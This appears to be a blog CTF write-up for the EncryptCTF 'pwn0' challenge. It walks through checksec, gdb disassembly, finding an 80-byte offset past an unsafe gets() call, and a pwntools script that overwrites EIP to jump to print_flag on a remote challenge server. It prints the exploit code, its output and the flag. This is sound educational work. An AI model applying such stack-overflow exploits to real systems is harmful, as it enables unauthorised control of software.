_blackb3ard/pwn_exhibit$

pwn notes from an exploit dev wannabe

Home CTF Writeups

EncryptCTF: pwn0

tl;dr: buffer overflow to change instruction pointer

Easiest challenge worth 25 points, we always do reconnaisance of the security measures in the binary with checksec:

$ checksec pwn0
[*] '/home/venom/Desktop/encryptCTF_writeup/pwn0_SOLVED/pwn0'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

We see that NX is enabled, which means that this isn’t a challenge where we can execute shellcode, but we do see that no canary is found on the stack so we could still smash it. Let’s have a test run with the binary:

$ ./pwn0
How's the josh?
he's good. needs people to visit his yt channel tho
Your josh is low!
Bye!

It first prints out the message ‘How’s the josh?’ and proceeds to wait for input. After we place our input, it prints out some things again then exits. We open up gdb to list and disassemble the functions:

$ gdb ./pwn0
  gdb-peda$ info functions
    [...]
    0x080484dd  print_flag
    0x080484f1  main
    [...]

The interesting functions that we see are the main and print_flag functions, so we disassemble these:

gdb-peda$ disas main
Dump of assembler code for function main:
   0x080484f1 <+0>:	push   ebp
   0x080484f2 <+1>:	mov    ebp,esp
   0x080484f4 <+3>:	and    esp,0xfffffff0
   0x080484f7 <+6>:	sub    esp,0x60
   0x080484fa <+9>:	mov    eax,ds:0x80498a0
   0x080484ff <+14>:	mov    DWORD PTR [esp+0xc],0x0
   0x08048507 <+22>:	mov    DWORD PTR [esp+0x8],0x2
   0x0804850f <+30>:	mov    DWORD PTR [esp+0x4],0x0
   0x08048517 <+38>:	mov    DWORD PTR [esp],eax
   0x0804851a <+41>:	call   0x80483d0 <setvbuf@plt>
   0x0804851f <+46>:	mov    DWORD PTR [esp],0x804861d
   0x08048526 <+53>:	call   0x8048390 <puts@plt>
   0x0804852b <+58>:	lea    eax,[esp+0x1c]
   0x0804852f <+62>:	mov    DWORD PTR [esp],eax
   0x08048532 <+65>:	call   0x8048370 <gets@plt>
   0x08048537 <+70>:	mov    DWORD PTR [esp+0x8],0x4
   0x0804853f <+78>:	mov    DWORD PTR [esp+0x4],0x804862d
   0x08048547 <+86>:	lea    eax,[esp+0x5c]
   0x0804854b <+90>:	mov    DWORD PTR [esp],eax
   0x0804854e <+93>:	call   0x8048380 <memcmp@plt>
   0x08048553 <+98>:	test   eax,eax
   0x08048555 <+100>:	jne    0x804856a <main+121>
   0x08048557 <+102>:	mov    DWORD PTR [esp],0x8048632
   0x0804855e <+109>:	call   0x8048390 <puts@plt>
   0x08048563 <+114>:	call   0x80484dd <print_flag>
   0x08048568 <+119>:	jmp    0x8048576 <main+133>
   0x0804856a <+121>:	mov    DWORD PTR [esp],0x8048648
   0x08048571 <+128>:	call   0x8048390 <puts@plt>
   0x08048576 <+133>:	mov    eax,0x0
   0x0804857b <+138>:	leave  
   0x0804857c <+139>:	ret    
End of assembler dump.

We see here some puts calls which prints out text that we saw when we run the binary. What is interesting for us is the gets call which we know to be very vulnerable since it doesn’t check for out of bounds input. To know what offset we can begin overwriting the buffer, we do a pattern create, input it to the binary, and find which offset we can smash the stack:

gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
[...]
EIP: 0x414a4141 ('AAJA')
Stopped reason: SIGSEGV
0x414a4141 in ?? ()
gdb-peda$ pattern offset AAJA
AJAA found at offset: 80

The offset at which we can overwrite the EIP register is at offset 80. Adding four more additional bytes will make us jump to another location in memory, which is what we want to do because if we don’t, we just hit exit and segfaults. What we can do is jump to the print_flag function’s address, so that the next instruction will execute that function. We know that the address for print_flag is 0x080484dd and we append that to our offset to control the program flow. We can now then create a short script for our exploit:

exploit.py
from pwn import *

#: Connect to challenge server
HOST = '104.154.106.182 '
PORT = 1234
p = remote(HOST,PORT)
print(p.recv())

#: Exploit code
offset = 'A' * 80
print_flag = p32(0x80484dd)
exploit = offset + print_flag

#: Send payload
p.sendline(exploit)
print(p.recv())
print(p.recv())

We run it, and get our flag!

$ python exploit.py
[+] Opening connection to 104.154.106.182  on port 1234: Done
How's the josh?

Your josh is low!
Bye!

encryptCTF{L3t5_R4!53_7h3_J05H}

[*] Closed connection to 104.154.106.182  port 1234